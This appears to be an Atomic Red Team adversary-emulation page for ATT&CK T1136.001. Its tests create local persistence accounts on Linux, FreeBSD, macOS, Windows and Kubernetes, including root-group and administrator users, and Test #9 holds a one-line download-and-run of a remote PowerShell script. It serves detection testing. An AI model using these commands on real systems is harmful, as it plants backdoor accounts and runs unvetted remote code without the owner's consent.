T1136.001

Description from ATT&CK

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the useradd command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username, to ESXi servers via esxcli system account add, or to Kubernetes clusters using the kubectl utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)

Adversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Atomic Tests

• Atomic Test #1 - Create a user account on a Linux system

• Atomic Test #2 - Create a user account on a FreeBSD system

• Atomic Test #3 - Create a user account on a MacOS system

• Atomic Test #4 - Create a new user in a command prompt

• Atomic Test #5 - Create a new user in PowerShell

• Atomic Test #6 - Create a new user in Linux with root UID and GID.

• Atomic Test #7 - Create a new user in FreeBSD with root GID.

• Atomic Test #8 - Create a new Windows admin user

• Atomic Test #9 - Create a new Windows admin user via .NET

• Atomic Test #10 - Create a Linux user via kubectl in a Pod

Atomic Test #1 - Create a user account on a Linux system

Create a user via useradd

Supported Platforms: Linux

auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2

Inputs:

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

useradd -M -N -r -s /bin/bash -c evil_account #{username}

Cleanup Commands:

userdel #{username}

Atomic Test #2 - Create a user account on a FreeBSD system

Create a user via pw

Supported Platforms: Linux

auto_generated_guid: a39ee1bc-b8c1-4331-8e5f-1859eb408518

Inputs:

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account

Cleanup Commands:

rmuser -y #{username}

Atomic Test #3 - Create a user account on a MacOS system

Creates a user on a MacOS system with dscl

Supported Platforms: macOS

auto_generated_guid: 01993ba5-1da3-4e15-a719-b690d4f0f0b2

Inputs:

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/zsh
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}

Cleanup Commands:

dscl . -delete /Users/#{username}

Atomic Test #4 - Create a new user in a command prompt

Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"

Supported Platforms: Windows

auto_generated_guid: 6657864e-0323-4206-9344-ac9cd7265a4f

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net user /add "#{username}" "#{password}"

Cleanup Commands:

net user /del "#{username}" >nul 2>&1

Atomic Test #5 - Create a new user in PowerShell

Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"

Supported Platforms: Windows

auto_generated_guid: bc8be0ac-475c-4fbf-9b1d-9fffd77afbde

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-LocalUser -Name "#{username}" -NoPassword

Cleanup Commands:

Remove-LocalUser -Name "#{username}" -ErrorAction Ignore

Atomic Test #6 - Create a new user in Linux with root UID and GID.

Creates a new user in Linux and adds the user to the root group. This technique was used by adversaries during the Butter attack campaign.

Supported Platforms: Linux

auto_generated_guid: a1040a30-d28b-4eda-bd99-bb2861a4616c

Inputs:

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

useradd -g 0 -M -d /root -s /bin/bash #{username}
if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;

Cleanup Commands:

userdel #{username}

Atomic Test #7 - Create a new user in FreeBSD with root GID.

Creates a new user in FreeBSD and adds the user to the root group. This technique was used by adversaries during the Butter attack campaign.

Supported Platforms: Linux

auto_generated_guid: d141afeb-d2bc-4934-8dd5-b7dba0f9f67a

Inputs:

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

pw useradd #{username} -g 0 -d /root -s /bin/sh
echo "#{password}" | pw usermod #{username} -h 0

Cleanup Commands:

pw userdel #{username}

Atomic Test #8 - Create a new Windows admin user

Creates a new admin user in a command prompt.

Supported Platforms: Windows

auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net user /add "#{username}" "#{password}"
net localgroup administrators "#{username}" /add

Cleanup Commands:

net user /del "#{username}" >nul 2>&1

Atomic Test #9 - Create a new Windows admin user via .NET

Creates a new admin user in a powershell session without using net.exe

Supported Platforms: Windows

auto_generated_guid: 2170d9b5-bacd-4819-a952-da76dae0815f

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')

Atomic Test #10 - Create a Linux user via kubectl in a Pod

Launches a short-lived Alpine pod and creates a Linux user inside the pod. The pod is automatically deleted after execution.

Supported Platforms: Containers

auto_generated_guid: d9efa6c7-6518-42b2-809a-4f2a8e242b9b

Inputs:

Attack Commands: Run with bash!

kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}'

Dependencies: Run with bash!

Description: kubectl must be installed and configured

Check Prereq Commands:

which kubectl

Get Prereq Commands:

echo "kubectl must be installed manually"